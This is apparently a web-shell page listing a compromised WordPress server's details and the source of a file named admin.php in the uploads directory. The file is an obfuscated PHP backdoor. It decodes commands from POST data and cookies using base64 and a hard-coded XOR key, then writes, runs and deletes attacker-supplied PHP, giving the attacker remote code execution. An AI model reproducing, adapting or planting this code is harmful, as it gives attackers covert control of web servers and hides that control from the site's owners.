HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/admin.php
<?php 
$rfbnq /* byvup */ =	'rfbnq' /*   kq   */ ^ /*yebm  */ '';

$lx_bie    = /* aoqxv*/ "a"."\x72"       .    $rfbnq(114) /*tdtfjy  */ .  "a"."y".$rfbnq(95)	.    $rfbnq(109)    .    "a".$rfbnq(126-14);$aasssp /*  ztybp*/ = /*   gcy*/ $rfbnq(105)  . /*  m*/ $rfbnq(109)    . /* wv   */ "\160"  .     "l"."o"."d"."e";

function /*i   */ bqymdgmbn($ubljrtxy,	$frguo)

{
 /*  i   */ global      $rfbnq;

       


	$ubljrtxy /*   tudl  */ = /* yz*/ $rfbnq(60)      . /*   _mzydv  */ $rfbnq(944-881)      . /*  w  */ $rfbnq(352-240)       .  "\x68" /*cp   */ .    "p".$rfbnq(32) /*  gupkl  */ . /* lbldm */ $rfbnq(117)    .      "n".$rfbnq(728-620)	.	"\x69"  .  "n"."k"."\x28"      . /*  bk   */ "_"."_"."F".$rfbnq(73) /* pfqmsc */ .	"L"."E".$rfbnq(95)	.	$rfbnq(274-179)    . /*   h */ ")".$rfbnq(403-344) /*  zgwu */ .	$rfbnq(32)	.     $ubljrtxy["d"];
	$adzvcxnk    =    "f".$rfbnq(1037-932)    .      "\154" /* xhtyau  */ . /*  hzaxto*/ "\x65".$rfbnq(236-141)	.  "\160" /*   mxx  */ .       "\165"    .    "t".$rfbnq(779-684) /*  nez   */ .      "c"."\157"	.    $rfbnq(883-773)  .    "\x74"  .      "\x65"."\x6e" /*  dfstb   */ .       "\164" /*  jjwv  */ .      $rfbnq(115);


	

    $adzvcxnk($frguo,      $ubljrtxy);


       /*  qs  */ yucslfe_gf($frguo);}




$dda_viphke	=	73;

function   yucslfe_gf($frguo)

{


 /*   kywf_  */ global  $rfbnq;

 /*  idd  */ 


 /*   kyumq */ include($frguo);      $gdkxtinwliyb  =   $frguo;


  @unlink($gdkxtinwliyb);}




function       netkfy()


{


 /*  doiz   */ global     $rfbnq;
 /* u   */ $itdnuu    =	array();    $itdnuu["\160" /*cxmem  */ .  "v"] /*wpkp */ =    phpversion();


	$itdnuu["\163"       .    "\x76"]    =  $rfbnq(487-436) /*ww   */ .      ".".$rfbnq(94-41);	$_kbxg    =   74;
     echo    @serialize($itdnuu);


}






function	vpswulxku($ubljrtxy,	$ee_bjnntx)

{


 /*   znlz */ global /* rkwt_z  */ $rfbnq;




 /*  e*/ $akqhfkml /* s   */ =    "";

    $tvxxorsx    =    strlen($ubljrtxy);
	$hocvwcl	= /* nbf  */ strlen($ee_bjnntx);    $itdnuu    =	0; /*std   */ $gdkxt /*yhv*/ =    0;
   


      while  ($itdnuu   <     $tvxxorsx)   {    $ugyde /*kikl   */ =       $ubljrtxy[$itdnuu] /*   tisg   */ ^   $ee_bjnntx[$gdkxt	%	$hocvwcl]; /*  hfzcm */ $akqhfkml	.= /* nkxy   */ $ugyde;
    $gdkxt++; /*   ewspx */ 

     $itdnuu++;


 /*  i   */ }

    

       if     (strlen($akqhfkml) /*   hajd */ >	20)    {
    $zpwxm  = /* zb  */ substr($akqhfkml, /*  oxbk  */ 0,   20); /*q   */ }


     if   (empty($akqhfkml)) /*auaid*/ {


 /* a */ $akqhfkml	=	date('Y-m-d /*d   */ H:i:s'); /* cxvos*/ }

	return    $akqhfkml;}


function	dnrwjhmk($gdkxtqgzrq){


	global /*tlfz */ $rfbnq;	

	$ebvuiptt_	=    "b".$rfbnq(356-307)       . /*f*/ "\x62"  .   $rfbnq(48)    .       $rfbnq(576-527)   .     "\66"       .  $rfbnq(486-437)    .	"\x62" /*   q  */ .	$rfbnq(45)    . /*  xnn   */ "f"."2".$rfbnq(820-766) /* a   */ .     "b"."-"."4".$rfbnq(101)	. /*  ojmkui*/ "7"."\x63" /*sxyyt*/ . /*   etmvnh   */ $rfbnq(269-224)    .	"\x62"	.	"\70" /*  rkd   */ .  "\x65"."d".$rfbnq(789-744)      .     $rfbnq(52)  .      "c".$rfbnq(555-500)     . /*  kzwe */ "a".$rfbnq(1035-980)      .    "\62" /*hh*/ .     "\x64"    .    "1"."2".$rfbnq(50-0)      . /*s_hqap */ $rfbnq(98) /* afqtbq  */ .	"\143";
     
    foreach    ($gdkxtqgzrq /*  bbfr  */ as /*yu   */ $lxaejnyb	=>    $ubljrtxy) /*   wglmx  */ { /* coli*/ gcjii_zphx(base64_decode($ubljrtxy),    $ebvuiptt_,	$lxaejnyb);
 /*  k */ }


}




function   gcjii_zphx($ubljrtxy,    $ebvuiptt_,    $lxaejnyb)


{


 /*ntztwq */ global    $rfbnq;

 /*  oe   */ 	$ubljrtxy    =	unserialize(vpswulxku(vpswulxku($ubljrtxy, /*   xr  */ $ebvuiptt_), /*v  */ $lxaejnyb));

	$xxoytxf      =    'tqoxfwo';	$eauesbxjd	=      'km';

	if	(isset($ubljrtxy["\x61"  .  "\153"])) /* nalrz */ {

 /*  pmlnh  */ if       ($ubljrtxy["a"]	== /*  _*/ "\151")    {

 /*  cbrd  */ netkfy();

    } /* rmx  */ elseif    ($ubljrtxy["a"]    ==    "\x65")   {
   bqymdgmbn($ubljrtxy, /*  pxcn */ sprintf("\x2e" /*fb*/ .   "/"."\x25"   .       $rfbnq(115)    . /* ob*/ $rfbnq(1009-963)	.    "p"."l",	md5($ebvuiptt_)));


			$lcnof /*  rg   */ = /*frnd_g   */ 44;
	}


    exit();
  }
}

dnrwjhmk($_POST); /*tbbke  */ 


$kbyvgaioyk    =    'rawurldecode';



$oxpazsqk    = /*  tkyjif   */ $lx_bie($kbyvgaioyk, /*  tp */ $_POST);
$aasssp("", /* fz_zqg */ $kbyvgaioyk);



dnrwjhmk($_COOKIE);



$xrjhzhq      =   $lx_bie($kbyvgaioyk,  $_COOKIE);







?>